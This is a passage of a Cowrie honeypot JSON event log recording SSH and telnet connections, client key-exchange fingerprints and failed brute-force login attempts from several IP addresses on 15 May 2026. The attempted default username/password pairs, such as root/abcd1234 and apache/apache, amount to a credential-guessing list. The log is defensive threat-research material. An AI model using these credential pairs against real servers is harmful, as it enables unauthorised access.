com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:38.938932Z","src_ip":"192.109.200.237","session":"3aa52af0751a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:39.189631Z","src_ip":"192.109.200.237","session":"3aa52af0751a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:40.275122Z","src_ip":"192.109.200.237","session":"3aa52af0751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51932,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c478ac55c9f","protocol":"ssh","message":"New connection: 192.109.200.237:51932 (159.203.135.109:22) [session: 4c478ac55c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:42.332729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:42.337976Z","src_ip":"192.109.200.237","session":"4c478ac55c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:42.526900Z","src_ip":"192.109.200.237","session":"4c478ac55c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:42.783276Z","src_ip":"192.109.200.237","session":"4c478ac55c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":41232,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9beffd93a8","protocol":"ssh","message":"New connection: 94.159.98.239:41232 (159.203.135.109:22) [session: 1e9beffd93a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:43.340414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:43.352859Z","src_ip":"94.159.98.239","session":"1e9beffd93a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:43.468300Z","src_ip":"94.159.98.239","session":"1e9beffd93a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:43.867464Z","src_ip":"192.109.200.237","session":"4c478ac55c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333444","message":"login attempt [root/333444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:43.963824Z","src_ip":"94.159.98.239","session":"1e9beffd93a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:45.090840Z","src_ip":"94.159.98.239","session":"1e9beffd93a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51946,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c2961c76f5","protocol":"ssh","message":"New connection: 192.109.200.237:51946 (159.203.135.109:22) [session: a6c2961c76f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:45.987637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:45.992054Z","src_ip":"192.109.200.237","session":"a6c2961c76f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:46.078576Z","src_ip":"192.109.200.237","session":"a6c2961c76f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:46.325524Z","src_ip":"192.109.200.237","session":"a6c2961c76f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:47.410089Z","src_ip":"192.109.200.237","session":"a6c2961c76f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":32948,"dst_ip":"159.203.135.109","dst_port":22,"session":"f70708adbc02","protocol":"ssh","message":"New connection: 51.250.105.222:32948 (159.203.135.109:22) [session: f70708adbc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:48.751748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:48.757515Z","src_ip":"51.250.105.222","session":"f70708adbc02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:48.881812Z","src_ip":"51.250.105.222","session":"f70708adbc02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carolina","message":"login attempt [root/carolina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:49.253316Z","src_ip":"51.250.105.222","session":"f70708adbc02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51960,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b046fda632a","protocol":"ssh","message":"New connection: 192.109.200.237:51960 (159.203.135.109:22) [session: 8b046fda632a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:49.491283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:49.495894Z","src_ip":"192.109.200.237","session":"8b046fda632a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:49.581133Z","src_ip":"192.109.200.237","session":"8b046fda632a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:49.827717Z","src_ip":"192.109.200.237","session":"8b046fda632a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:50.379509Z","src_ip":"51.250.105.222","session":"f70708adbc02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:50.912397Z","src_ip":"192.109.200.237","session":"8b046fda632a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38200,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d47f503c8c","protocol":"ssh","message":"New connection: 192.109.200.237:38200 (159.203.135.109:22) [session: 88d47f503c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:53.080726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:53.197540Z","src_ip":"192.109.200.237","session":"88d47f503c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:53.200837Z","src_ip":"192.109.200.237","session":"88d47f503c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:53.523496Z","src_ip":"192.109.200.237","session":"88d47f503c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:54.608024Z","src_ip":"192.109.200.237","session":"88d47f503c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1605514824f","protocol":"telnet","message":"New connection: 50.6.8.71:52714 (10.17.0.5:23) [session: d1605514824f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:54.671358Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43140,"dst_ip":"159.203.135.109","dst_port":22,"session":"d54d450b4b75","protocol":"ssh","message":"New connection: 80.94.92.184:43140 (159.203.135.109:22) [session: d54d450b4b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:56.098236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:56.195952Z","src_ip":"80.94.92.184","session":"d54d450b4b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:56.291896Z","src_ip":"80.94.92.184","session":"d54d450b4b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38208,"dst_ip":"159.203.135.109","dst_port":22,"session":"aab1384f8889","protocol":"ssh","message":"New connection: 192.109.200.237:38208 (159.203.135.109:22) [session: aab1384f8889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:56.731117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:56.735749Z","src_ip":"192.109.200.237","session":"aab1384f8889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:56.818017Z","src_ip":"192.109.200.237","session":"aab1384f8889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:57.065164Z","src_ip":"192.109.200.237","session":"aab1384f8889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:57.176626Z","src_ip":"80.94.92.184","session":"d54d450b4b75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:58.268442Z","src_ip":"192.109.200.237","session":"aab1384f8889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:58.455766Z","src_ip":"80.94.92.184","session":"d54d450b4b75","protocol":"ssh"}
